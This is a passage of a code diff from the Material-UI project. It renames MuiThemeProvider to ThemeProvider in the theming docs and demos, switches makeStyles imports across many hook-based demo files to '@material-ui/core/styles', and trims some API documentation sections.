-import { MuiThemeProvider, createMuiTheme, withStyles } from '@material-ui/core/styles';
+import { createMuiTheme, withStyles } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Typography from '@material-ui/core/Typography';
 import Button from '@material-ui/core/Button';
 
@@ -52,7 +53,7 @@ function TypographyTheme(props) {
   return (
     <div className={classes.root}>
       {children}
-      <MuiThemeProvider theme={theme}>{children}</MuiThemeProvider>
+      <ThemeProvider theme={theme}>{children}</ThemeProvider>
     </div>
   );
 }
diff --git a/docs/src/pages/customization/themes/themes.md b/docs/src/pages/customization/themes/themes.md
index 52f3691e97bee0..220e3965de4341 100644
--- a/docs/src/pages/customization/themes/themes.md
+++ b/docs/src/pages/customization/themes/themes.md
@@ -10,11 +10,11 @@ To promote greater consistency between apps, light and dark theme types are avai
 
 ## Theme provider
 
-If you wish to customize the theme, you need to use the `MuiThemeProvider` component in order to inject a theme into your application.
+If you wish to customize the theme, you need to use the `ThemeProvider` component in order to inject a theme into your application.
 However, this is optional; Material-UI components come with a default theme.
 
-`MuiThemeProvider` relies on the context feature of React to pass the theme down to the components,
-so you need to make sure that `MuiThemeProvider` is a parent of the components you are trying to customize.
+`ThemeProvider` relies on the context feature of React to pass the theme down to the components,
+so you need to make sure that `ThemeProvider` is a parent of the components you are trying to customize.
 You can learn more about this in [the API section](#muithemeprovider).
 
 ## Theme configuration variables
@@ -341,8 +341,7 @@ You can check out the [default theme section](/customization/default-theme/) to
 
 ### Custom variables
 
-When using Material-UI's [styling solution](/customization/css-in-js/) with your own components,
-you can also take advantage of the theme.
+When using Material-UI's theme with our [styling solution](/css-in-js/basics) or [any others](/guides/interoperability/#themeprovider).
 It can be convenient to add additional variables to the theme so you can use them everywhere.
 For instance:
 
@@ -414,41 +413,14 @@ You can extend the outer theme by providing a function:
 
 #### A note on performance
 
-The performance implications of nesting the `MuiThemeProvider` component are linked to JSS's work behind the scenes.
+The performance implications of nesting the `ThemeProvider` component are linked to JSS's work behind the scenes.
 The main point to understand is that we cache the injected CSS with the following tuple `(styles, theme)`.
+
 - `theme`: If you provide a new theme at each render, a new CSS object will be computed and injected. Both for UI consistency and performance, it's better to render a limited number of theme objects.
 - `styles`: The larger the styles object is, the more work is needed.
 
 ## API
 
-### `MuiThemeProvider`
-
-This component takes a `theme` property, and makes the `theme` available down the React tree thanks to React context.
-It should preferably be used at **the root of your component tree**.
-
-You can see the full properties API in [this dedicated page](/api/mui-theme-provider/).
-
-#### Examples
-
-```jsx
-import React from 'react';
-import { render } from 'react-dom';
-import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
-import Root from './Root';
-
-const theme = createMuiTheme();
-
-function App() {
-  return (
-    <MuiThemeProvider theme={theme}>
-      <Root />
-    </MuiThemeProvider>
-  );
-}
-
-render(<App />, document.querySelector('#app'));
-```
-
 ### `createMuiTheme(options) => theme`
 
 Generate a theme base on the options received.
@@ -478,28 +450,3 @@ const theme = createMuiTheme({
   },
 });
 ```
-
-### `withTheme(Component) => Component`
-
-Provide the `theme` object as a property of the input component so it can be used
-in the render method.
-
-#### Arguments
-
-1. `Component`: The component that will be wrapped.
-
-#### Returns
-
-`Component`: The new component created.
-
-#### Examples
-
-```js
-import { withTheme } from '@material-ui/core/styles';
-
-function MyComponent(props) {
-  return <div>{props.theme.direction}</div>;
-}
-
-export default withTheme(MyComponent);
-```
diff --git a/docs/src/pages/demos/app-bar/MenuAppBar.hooks.js b/docs/src/pages/demos/app-bar/MenuAppBar.hooks.js
index 30e2f5c9b2f621..74603ca1b938ea 100644
--- a/docs/src/pages/demos/app-bar/MenuAppBar.hooks.js
+++ b/docs/src/pages/demos/app-bar/MenuAppBar.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Toolbar from '@material-ui/core/Toolbar';
 import Typography from '@material-ui/core/Typography';
diff --git a/docs/src/pages/demos/app-bar/PrimarySearchAppBar.hooks.js b/docs/src/pages/demos/app-bar/PrimarySearchAppBar.hooks.js
index e063b6029d38c5..a057ed59111349 100644
--- a/docs/src/pages/demos/app-bar/PrimarySearchAppBar.hooks.js
+++ b/docs/src/pages/demos/app-bar/PrimarySearchAppBar.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Toolbar from '@material-ui/core/Toolbar';
 import IconButton from '@material-ui/core/IconButton';
diff --git a/docs/src/pages/demos/autocomplete/IntegrationDownshift.hooks.js b/docs/src/pages/demos/autocomplete/IntegrationDownshift.hooks.js
index c9081f597fe75e..8381122aadebe2 100644
--- a/docs/src/pages/demos/autocomplete/IntegrationDownshift.hooks.js
+++ b/docs/src/pages/demos/autocomplete/IntegrationDownshift.hooks.js
@@ -2,7 +2,7 @@ import React from 'react';
 import PropTypes from 'prop-types';
 import deburr from 'lodash/deburr';
 import Downshift from 'downshift';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import TextField from '@material-ui/core/TextField';
 import Popper from '@material-ui/core/Popper';
 import Paper from '@material-ui/core/Paper';
diff --git a/docs/src/pages/demos/badges/BadgeVisibility.hooks.js b/docs/src/pages/demos/badges/BadgeVisibility.hooks.js
index baeb90e755e508..708afd98696f70 100644
--- a/docs/src/pages/demos/badges/BadgeVisibility.hooks.js
+++ b/docs/src/pages/demos/badges/BadgeVisibility.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Badge from '@material-ui/core/Badge';
 import MailIcon from '@material-ui/icons/Mail';
 import Switch from '@material-ui/core/Switch';
diff --git a/docs/src/pages/demos/bottom-navigation/LabelBottomNavigation.hooks.js b/docs/src/pages/demos/bottom-navigation/LabelBottomNavigation.hooks.js
index d8acaa8216d43f..ded7a4c4eb2dd9 100644
--- a/docs/src/pages/demos/bottom-navigation/LabelBottomNavigation.hooks.js
+++ b/docs/src/pages/demos/bottom-navigation/LabelBottomNavigation.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import BottomNavigation from '@material-ui/core/BottomNavigation';
 import BottomNavigationAction from '@material-ui/core/BottomNavigationAction';
 import Icon from '@material-ui/core/Icon';
diff --git a/docs/src/pages/demos/bottom-navigation/SimpleBottomNavigation.hooks.js b/docs/src/pages/demos/bottom-navigation/SimpleBottomNavigation.hooks.js
index 061ce6b45eb488..cf408967a3014d 100644
--- a/docs/src/pages/demos/bottom-navigation/SimpleBottomNavigation.hooks.js
+++ b/docs/src/pages/demos/bottom-navigation/SimpleBottomNavigation.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import BottomNavigation from '@material-ui/core/BottomNavigation';
 import BottomNavigationAction from '@material-ui/core/BottomNavigationAction';
 import RestoreIcon from '@material-ui/icons/Restore';
diff --git a/docs/src/pages/demos/buttons/CustomizedButtons.js b/docs/src/pages/demos/buttons/CustomizedButtons.js
index 61801cfaf500e4..d3fd20d86ad3a5 100644
--- a/docs/src/pages/demos/buttons/CustomizedButtons.js
+++ b/docs/src/pages/demos/buttons/CustomizedButtons.js
@@ -1,7 +1,8 @@
 import React from 'react';
 import PropTypes from 'prop-types';
 import clsx from 'clsx';
-import { createMuiTheme, MuiThemeProvider, withStyles } from '@material-ui/core/styles';
+import { createMuiTheme, withStyles } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Button from '@material-ui/core/Button';
 import purple from '@material-ui/core/colors/purple';
 import green from '@material-ui/core/colors/green';
@@ -67,11 +68,11 @@ function CustomizedButtons(props) {
       <Button variant="contained" color="primary" className={clsx(classes.margin, classes.cssRoot)}>
         Custom CSS
       </Button>
-      <MuiThemeProvider theme={theme}>
+      <ThemeProvider theme={theme}>
         <Button variant="contained" color="primary" className={classes.margin}>
-          MuiThemeProvider
+          ThemeProvider
         </Button>
-      </MuiThemeProvider>
+      </ThemeProvider>
       <Button
         variant="contained"
         color="primary"
diff --git a/docs/src/pages/demos/buttons/CustomizedButtons.tsx b/docs/src/pages/demos/buttons/CustomizedButtons.tsx
index cc8be3a55e4d7a..06666ad340535d 100644
--- a/docs/src/pages/demos/buttons/CustomizedButtons.tsx
+++ b/docs/src/pages/demos/buttons/CustomizedButtons.tsx
@@ -4,11 +4,11 @@ import clsx from 'clsx';
 import {
   createMuiTheme,
   createStyles,
-  MuiThemeProvider,
   Theme,
   withStyles,
   WithStyles,
 } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Button from '@material-ui/core/Button';
 import purple from '@material-ui/core/colors/purple';
 import green from '@material-ui/core/colors/green';
@@ -75,11 +75,11 @@ function CustomizedButtons(props: WithStyles<typeof styles>) {
       <Button variant="contained" color="primary" className={clsx(classes.margin, classes.cssRoot)}>
         Custom CSS
       </Button>
-      <MuiThemeProvider theme={theme}>
+      <ThemeProvider theme={theme}>
         <Button variant="contained" color="primary" className={classes.margin}>
-          MuiThemeProvider
+          ThemeProvider
         </Button>
-      </MuiThemeProvider>
+      </ThemeProvider>
       <Button
         variant="contained"
         color="primary"
diff --git a/docs/src/pages/demos/cards/RecipeReviewCard.hooks.js b/docs/src/pages/demos/cards/RecipeReviewCard.hooks.js
index b7d3980754245b..10ef1bfa883029 100644
--- a/docs/src/pages/demos/cards/RecipeReviewCard.hooks.js
+++ b/docs/src/pages/demos/cards/RecipeReviewCard.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import clsx from 'clsx';
 import Card from '@material-ui/core/Card';
 import CardHeader from '@material-ui/core/CardHeader';
diff --git a/docs/src/pages/demos/chips/ChipsArray.hooks.js b/docs/src/pages/demos/chips/ChipsArray.hooks.js
index 55a81770cb3328..eff6a0e8f8fc62 100644
--- a/docs/src/pages/demos/chips/ChipsArray.hooks.js
+++ b/docs/src/pages/demos/chips/ChipsArray.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Chip from '@material-ui/core/Chip';
 import Paper from '@material-ui/core/Paper';
 import TagFacesIcon from '@material-ui/icons/TagFaces';
diff --git a/docs/src/pages/demos/dialogs/ConfirmationDialog.hooks.js b/docs/src/pages/demos/dialogs/ConfirmationDialog.hooks.js
index 6820b80dd37b8d..3d0510dd191a71 100644
--- a/docs/src/pages/demos/dialogs/ConfirmationDialog.hooks.js
+++ b/docs/src/pages/demos/dialogs/ConfirmationDialog.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Button from '@material-ui/core/Button';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
diff --git a/docs/src/pages/demos/dialogs/FullScreenDialog.hooks.js b/docs/src/pages/demos/dialogs/FullScreenDialog.hooks.js
index 7f0f3b25187067..9fe542add9f8af 100644
--- a/docs/src/pages/demos/dialogs/FullScreenDialog.hooks.js
+++ b/docs/src/pages/demos/dialogs/FullScreenDialog.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Button from '@material-ui/core/Button';
 import Dialog from '@material-ui/core/Dialog';
 import ListItemText from '@material-ui/core/ListItemText';
diff --git a/docs/src/pages/demos/dialogs/SimpleDialog.hooks.js b/docs/src/pages/demos/dialogs/SimpleDialog.hooks.js
index 49f30ccd90ed3c..cb598eeb84c114 100644
--- a/docs/src/pages/demos/dialogs/SimpleDialog.hooks.js
+++ b/docs/src/pages/demos/dialogs/SimpleDialog.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Button from '@material-ui/core/Button';
 import Avatar from '@material-ui/core/Avatar';
 import List from '@material-ui/core/List';
diff --git a/docs/src/pages/demos/drawers/SwipeableTemporaryDrawer.hooks.js b/docs/src/pages/demos/drawers/SwipeableTemporaryDrawer.hooks.js
index bf9125c40e0d37..bc4d9366f6ddac 100644
--- a/docs/src/pages/demos/drawers/SwipeableTemporaryDrawer.hooks.js
+++ b/docs/src/pages/demos/drawers/SwipeableTemporaryDrawer.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import SwipeableDrawer from '@material-ui/core/SwipeableDrawer';
 import Button from '@material-ui/core/Button';
 import List from '@material-ui/core/List';
diff --git a/docs/src/pages/demos/drawers/TemporaryDrawer.hooks.js b/docs/src/pages/demos/drawers/TemporaryDrawer.hooks.js
index 822f358b42e6d5..fe881d2a0bb642 100644
--- a/docs/src/pages/demos/drawers/TemporaryDrawer.hooks.js
+++ b/docs/src/pages/demos/drawers/TemporaryDrawer.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Drawer from '@material-ui/core/Drawer';
 import Button from '@material-ui/core/Button';
 import List from '@material-ui/core/List';
diff --git a/docs/src/pages/demos/expansion-panels/ControlledExpansionPanels.hooks.js b/docs/src/pages/demos/expansion-panels/ControlledExpansionPanels.hooks.js
index 74aff7bd35d253..8050636ce568b7 100644
--- a/docs/src/pages/demos/expansion-panels/ControlledExpansionPanels.hooks.js
+++ b/docs/src/pages/demos/expansion-panels/ControlledExpansionPanels.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import ExpansionPanel from '@material-ui/core/ExpansionPanel';
 import ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails';
 import ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary';
diff --git a/docs/src/pages/demos/lists/CheckboxList.hooks.js b/docs/src/pages/demos/lists/CheckboxList.hooks.js
index 5da6a61277e960..1101e84913a79a 100644
--- a/docs/src/pages/demos/lists/CheckboxList.hooks.js
+++ b/docs/src/pages/demos/lists/CheckboxList.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
 import ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';
diff --git a/docs/src/pages/demos/lists/CheckboxListSecondary.hooks.js b/docs/src/pages/demos/lists/CheckboxListSecondary.hooks.js
index 1d2394547e36ff..b20bdbc90599d5 100644
--- a/docs/src/pages/demos/lists/CheckboxListSecondary.hooks.js
+++ b/docs/src/pages/demos/lists/CheckboxListSecondary.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
 import ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';
diff --git a/docs/src/pages/demos/lists/InteractiveList.hooks.js b/docs/src/pages/demos/lists/InteractiveList.hooks.js
index 8b618f53ad0f92..18eb3df6165358 100644
--- a/docs/src/pages/demos/lists/InteractiveList.hooks.js
+++ b/docs/src/pages/demos/lists/InteractiveList.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
 import ListItemAvatar from '@material-ui/core/ListItemAvatar';
diff --git a/docs/src/pages/demos/lists/NestedList.hooks.js b/docs/src/pages/demos/lists/NestedList.hooks.js
index 67a7c38a240a6f..7100c9b3dc35ae 100644
--- a/docs/src/pages/demos/lists/NestedList.hooks.js
+++ b/docs/src/pages/demos/lists/NestedList.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import ListSubheader from '@material-ui/core/ListSubheader';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
diff --git a/docs/src/pages/demos/lists/SelectedListItem.hooks.js b/docs/src/pages/demos/lists/SelectedListItem.hooks.js
index e98c80950f77ee..a4b83b995e5e3c 100644
--- a/docs/src/pages/demos/lists/SelectedListItem.hooks.js
+++ b/docs/src/pages/demos/lists/SelectedListItem.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
 import ListItemIcon from '@material-ui/core/ListItemIcon';
diff --git a/docs/src/pages/demos/lists/SwitchListSecondary.hooks.js b/docs/src/pages/demos/lists/SwitchListSecondary.hooks.js
index db127395fd8500..e9fd99579a051f 100644
--- a/docs/src/pages/demos/lists/SwitchListSecondary.hooks.js
+++ b/docs/src/pages/demos/lists/SwitchListSecondary.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
 import ListItemIcon from '@material-ui/core/ListItemIcon';
diff --git a/docs/src/pages/demos/menus/MenuListComposition.hooks.js b/docs/src/pages/demos/menus/MenuListComposition.hooks.js
index 69396200347491..16ae06afe9cf83 100644
--- a/docs/src/pages/demos/menus/MenuListComposition.hooks.js
+++ b/docs/src/pages/demos/menus/MenuListComposition.hooks.js
@@ -6,7 +6,7 @@ import Paper from '@material-ui/core/Paper';
 import Popper from '@material-ui/core/Popper';
 import MenuItem from '@material-ui/core/MenuItem';
 import MenuList from '@material-ui/core/MenuList';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 
 const useStyles = makeStyles(theme => ({
   root: {
diff --git a/docs/src/pages/demos/menus/SimpleListMenu.hooks.js b/docs/src/pages/demos/menus/SimpleListMenu.hooks.js
index ff80f228801da9..d41964a04824bf 100644
--- a/docs/src/pages/demos/menus/SimpleListMenu.hooks.js
+++ b/docs/src/pages/demos/menus/SimpleListMenu.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import List from '@material-ui/core/List';
 import ListItem from '@material-ui/core/ListItem';
 import ListItemText from '@material-ui/core/ListItemText';
diff --git a/docs/src/pages/demos/progress/CircularDeterminate.hooks.js b/docs/src/pages/demos/progress/CircularDeterminate.hooks.js
index 7d0a9c2204cfe7..fa4de9ee61456a 100644
--- a/docs/src/pages/demos/progress/CircularDeterminate.hooks.js
+++ b/docs/src/pages/demos/progress/CircularDeterminate.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import CircularProgress from '@material-ui/core/CircularProgress';
 
 const useStyles = makeStyles(theme => ({
diff --git a/docs/src/pages/demos/progress/CircularIntegration.hooks.js b/docs/src/pages/demos/progress/CircularIntegration.hooks.js
index 4dea7be854baee..4ccac71a669c98 100644
--- a/docs/src/pages/demos/progress/CircularIntegration.hooks.js
+++ b/docs/src/pages/demos/progress/CircularIntegration.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import CircularProgress from '@material-ui/core/CircularProgress';
 import green from '@material-ui/core/colors/green';
 import Button from '@material-ui/core/Button';
diff --git a/docs/src/pages/demos/progress/CircularStatic.hooks.js b/docs/src/pages/demos/progress/CircularStatic.hooks.js
index 781f3919bfc6e3..c1688b049f695f 100644
--- a/docs/src/pages/demos/progress/CircularStatic.hooks.js
+++ b/docs/src/pages/demos/progress/CircularStatic.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import CircularProgress from '@material-ui/core/CircularProgress';
 
 const useStyles = makeStyles(theme => ({
diff --git a/docs/src/pages/demos/progress/DelayingAppearance.hooks.js b/docs/src/pages/demos/progress/DelayingAppearance.hooks.js
index 673c6a4d05575c..93b56c3a104134 100644
--- a/docs/src/pages/demos/progress/DelayingAppearance.hooks.js
+++ b/docs/src/pages/demos/progress/DelayingAppearance.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Fade from '@material-ui/core/Fade';
 import Button from '@material-ui/core/Button';
 import CircularProgress from '@material-ui/core/CircularProgress';
diff --git a/docs/src/pages/demos/progress/LinearBuffer.hooks.js b/docs/src/pages/demos/progress/LinearBuffer.hooks.js
index 361fe79c45e4a8..25ffd61a8bb6dd 100644
--- a/docs/src/pages/demos/progress/LinearBuffer.hooks.js
+++ b/docs/src/pages/demos/progress/LinearBuffer.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import LinearProgress from '@material-ui/core/LinearProgress';
 
 const useStyles = makeStyles({
diff --git a/docs/src/pages/demos/progress/LinearDeterminate.hooks.js b/docs/src/pages/demos/progress/LinearDeterminate.hooks.js
index 13be1e5a711432..dd6731511e60b5 100644
--- a/docs/src/pages/demos/progress/LinearDeterminate.hooks.js
+++ b/docs/src/pages/demos/progress/LinearDeterminate.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import LinearProgress from '@material-ui/core/LinearProgress';
 
 const useStyles = makeStyles({
diff --git a/docs/src/pages/demos/selection-controls/CheckboxLabels.hooks.js b/docs/src/pages/demos/selection-controls/CheckboxLabels.hooks.js
index 20489317a02a6d..dbe7502c1bb996 100644
--- a/docs/src/pages/demos/selection-controls/CheckboxLabels.hooks.js
+++ b/docs/src/pages/demos/selection-controls/CheckboxLabels.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import green from '@material-ui/core/colors/green';
 import FormGroup from '@material-ui/core/FormGroup';
 import FormControlLabel from '@material-ui/core/FormControlLabel';
diff --git a/docs/src/pages/demos/selection-controls/CheckboxesGroup.hooks.js b/docs/src/pages/demos/selection-controls/CheckboxesGroup.hooks.js
index fe573bc89588bd..4f08f702fafd1b 100644
--- a/docs/src/pages/demos/selection-controls/CheckboxesGroup.hooks.js
+++ b/docs/src/pages/demos/selection-controls/CheckboxesGroup.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import FormLabel from '@material-ui/core/FormLabel';
 import FormControl from '@material-ui/core/FormControl';
 import FormGroup from '@material-ui/core/FormGroup';
diff --git a/docs/src/pages/demos/selection-controls/CustomizedSwitches.hooks.js b/docs/src/pages/demos/selection-controls/CustomizedSwitches.hooks.js
index c63ddeef33dbfa..635f34c6f52fa1 100644
--- a/docs/src/pages/demos/selection-controls/CustomizedSwitches.hooks.js
+++ b/docs/src/pages/demos/selection-controls/CustomizedSwitches.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import purple from '@material-ui/core/colors/purple';
 import FormGroup from '@material-ui/core/FormGroup';
 import FormControlLabel from '@material-ui/core/FormControlLabel';
diff --git a/docs/src/pages/demos/selection-controls/RadioButtons.hooks.js b/docs/src/pages/demos/selection-controls/RadioButtons.hooks.js
index 522cd66f06ba91..16375c180bc6a3 100644
--- a/docs/src/pages/demos/selection-controls/RadioButtons.hooks.js
+++ b/docs/src/pages/demos/selection-controls/RadioButtons.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import green from '@material-ui/core/colors/green';
 import Radio from '@material-ui/core/Radio';
 import RadioButtonUncheckedIcon from '@material-ui/icons/RadioButtonUnchecked';
diff --git a/docs/src/pages/demos/selection-controls/RadioButtonsGroup.hooks.js b/docs/src/pages/demos/selection-controls/RadioButtonsGroup.hooks.js
index 2535532134547d..4a384376b08ece 100644
--- a/docs/src/pages/demos/selection-controls/RadioButtonsGroup.hooks.js
+++ b/docs/src/pages/demos/selection-controls/RadioButtonsGroup.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Radio from '@material-ui/core/Radio';
 import RadioGroup from '@material-ui/core/RadioGroup';
 import FormHelperText from '@material-ui/core/FormHelperText';
diff --git a/docs/src/pages/demos/selects/ControlledOpenSelect.hooks.js b/docs/src/pages/demos/selects/ControlledOpenSelect.hooks.js
index 028bf07a9420d2..d696b34d6eabb9 100644
--- a/docs/src/pages/demos/selects/ControlledOpenSelect.hooks.js
+++ b/docs/src/pages/demos/selects/ControlledOpenSelect.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import InputLabel from '@material-ui/core/InputLabel';
 import MenuItem from '@material-ui/core/MenuItem';
 import FormControl from '@material-ui/core/FormControl';
diff --git a/docs/src/pages/demos/selects/DialogSelect.hooks.js b/docs/src/pages/demos/selects/DialogSelect.hooks.js
index 77b1ce1672e56d..fafd3e3c77e573 100644
--- a/docs/src/pages/demos/selects/DialogSelect.hooks.js
+++ b/docs/src/pages/demos/selects/DialogSelect.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Button from '@material-ui/core/Button';
 import Dialog from '@material-ui/core/Dialog';
 import DialogActions from '@material-ui/core/DialogActions';
diff --git a/docs/src/pages/demos/selects/NativeSelects.hooks.js b/docs/src/pages/demos/selects/NativeSelects.hooks.js
index 545e64ae1d6447..4e8bc9136b2361 100644
--- a/docs/src/pages/demos/selects/NativeSelects.hooks.js
+++ b/docs/src/pages/demos/selects/NativeSelects.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import ReactDOM from 'react-dom';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Input from '@material-ui/core/Input';
 import OutlinedInput from '@material-ui/core/OutlinedInput';
 import FilledInput from '@material-ui/core/FilledInput';
diff --git a/docs/src/pages/demos/selects/SimpleSelect.hooks.js b/docs/src/pages/demos/selects/SimpleSelect.hooks.js
index 120815c4c9cba9..bcd4bb4a2ab768 100644
--- a/docs/src/pages/demos/selects/SimpleSelect.hooks.js
+++ b/docs/src/pages/demos/selects/SimpleSelect.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import ReactDOM from 'react-dom';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Input from '@material-ui/core/Input';
 import OutlinedInput from '@material-ui/core/OutlinedInput';
 import FilledInput from '@material-ui/core/FilledInput';
diff --git a/docs/src/pages/demos/snackbars/CustomizedSnackbars.hooks.js b/docs/src/pages/demos/snackbars/CustomizedSnackbars.hooks.js
index 9fabea86bb7ab6..02c2806594b5da 100644
--- a/docs/src/pages/demos/snackbars/CustomizedSnackbars.hooks.js
+++ b/docs/src/pages/demos/snackbars/CustomizedSnackbars.hooks.js
@@ -12,7 +12,7 @@ import IconButton from '@material-ui/core/IconButton';
 import Snackbar from '@material-ui/core/Snackbar';
 import SnackbarContent from '@material-ui/core/SnackbarContent';
 import WarningIcon from '@material-ui/icons/Warning';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 
 const variantIcon = {
   success: CheckCircleIcon,
diff --git a/docs/src/pages/demos/snackbars/FabIntegrationSnackbar.hooks.js b/docs/src/pages/demos/snackbars/FabIntegrationSnackbar.hooks.js
index 6687837a839bea..80d524ea75c05a 100644
--- a/docs/src/pages/demos/snackbars/FabIntegrationSnackbar.hooks.js
+++ b/docs/src/pages/demos/snackbars/FabIntegrationSnackbar.hooks.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import clsx from 'clsx';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import AppBar from '@material-ui/core/AppBar';
 import Toolbar from '@material-ui/core/Toolbar';
 import IconButton from '@material-ui/core/IconButton';
diff --git a/docs/src/pages/demos/snackbars/SimpleSnackbar.hooks.js b/docs/src/pages/demos/snackbars/SimpleSnackbar.hooks.js
index c6f57532811180..4c78a742695504 100644
--- a/docs/src/pages/demos/snackbars/SimpleSnackbar.hooks.js
+++ b/docs/src/pages/demos/snackbars/SimpleSnackbar.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Button from '@material-ui/core/Button';
 import Snackbar from '@material-ui/core/Snackbar';
 import IconButton from '@material-ui/core/IconButton';
